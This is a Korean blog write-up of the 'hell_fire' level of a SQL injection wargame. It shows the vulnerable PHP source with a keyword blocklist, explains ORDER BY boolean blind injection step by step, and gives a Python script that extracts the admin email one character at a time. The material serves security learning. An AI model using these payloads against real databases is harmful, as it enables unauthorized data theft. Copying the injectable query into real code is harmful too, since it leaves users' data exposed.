Tyojong
[LOS] hell_fire 본문
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|proc|union/i', $_GET[order])) exit("No Hack ~_~");
$query = "select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}";
echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
$rows = mysqli_query($db,$query);
while(($result = mysqli_fetch_array($rows))){
if($result['id'] == "admin") $result['email'] = "**************";
echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
}
echo "</table><hr>query : <strong>{$query}</strong><hr>";
$_GET[email] = addslashes($_GET[email]);
$query = "select email from prob_hell_fire where id='admin' and email='{$_GET[email]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire");
highlight_file(__FILE__);
?>
문제 목표
if(preg_match('/prob|_|\.|proc|union/i', $_GET[order])) exit("No Hack ~_~");
union이 필터링된다.
$query = "select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}";
order파라미터는 order by 절 뒤에 들어간다.
if($result['id'] == "admin") $result['email'] = "**************";
admin에 대한 email은 마스킹되어 출력된다.
echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
결과는 테이블 형태로 출력된다.
$query = "select email from prob_hell_fire where id='admin' and email='{$_GET[email]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire");
admin에 대한 email을 입력하면 문제가 해결된다.
문제 해결
?order=1=1 입력 시

참 값이 되어 DB에 담겨있는 데이터 순서 그대로 출력된다. 즉, order by 절 뒤에 비교 연산자 사용이 가능하다.
?order=id='rubiya' 입력 시

id가 rubiya인 값을 기준으로 정렬하기 때문에 order by 절 뒤에 해당하는 값이 아래로 출력된다.
?order=length(id)=5

?order=length(id)=6

비교 구문에 일치하는 정보가 아래로 출력되기 때문에 admin에 대한 정보가 일치할 때만 아래로 출력되도록 해야한다.
하지만 ?order=1=1 구문에서 알 수 있듯이 기본 정렬이 admin이 아래로 출력되기 때문에 admin에 대한 정보가 일치하지 않으면 위로 출력 되도록 해야한다.
?order=length(id)=4, id='rubiya'

해당 구문처럼 뒤에 ,와 조건을 추가해주면 앞 조건이 일치하지 않을 경우 뒤 조건을 기준으로 정렬하게 된다.
때문에 admin에 대한 정보가 일치하지 않을 경우 rubiya에 대한 정보가 아래로 출력된다.
?order=substring(id,4,1)='i', id='rubiya'

또한 추출하는 데이터가 알고싶지 않은 데이터와 동일한 위치, 동일한 값으로 존재한다면 제대로 추출되지 않을 수 있다.
?order=id='admin' and substring(id,4,1)='i', id='rubiya'

때문에 앞에 and 연산을 통해 id가 admin인 값이라는 조건을 추가해주면 된다.
해당 로직을 이용해 email의 길이와 데이터를 출력하면
import requests
URL = "https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php"
cookies = {"PHPSESSID": "세션 값"}
email_len = 0
while True:
print(f"email length: {email_len}", end="\r")
payload = f"?order=id='admin' and length(email)={email_len}, id='rubiya'"
r = requests.get(URL + payload, cookies=cookies)
if "score</th><tr><td>rubiya" in r.text:
break
email_len += 1
print(f"email length: {email_len}")
email = ""
for i in range(1, email_len + 1):
for j in range(32, 127):
print(f"email: {email + chr(j)}", end="\r")
payload = f"?order=id='admin' and ascii(substring(email,{i},1))={j}, id='rubiya'"
r = requests.get(URL + payload, cookies=cookies)
if "score</th><tr><td>rubiya" in r.text:
email += chr(j)
break
print(f"email: {email}")

email을 얻을 수 있다.

'web > LOS' 카테고리의 다른 글
| [LOS] evil_wizard (0) | 2026.02.05 |
|---|---|
| [LOS] dark_eyes (1) | 2026.02.04 |
| [LOS] iron_golem (0) | 2026.02.03 |
| [LOS] dragon (0) | 2026.01.30 |
| [LOS] xavis (2) | 2026.01.27 |
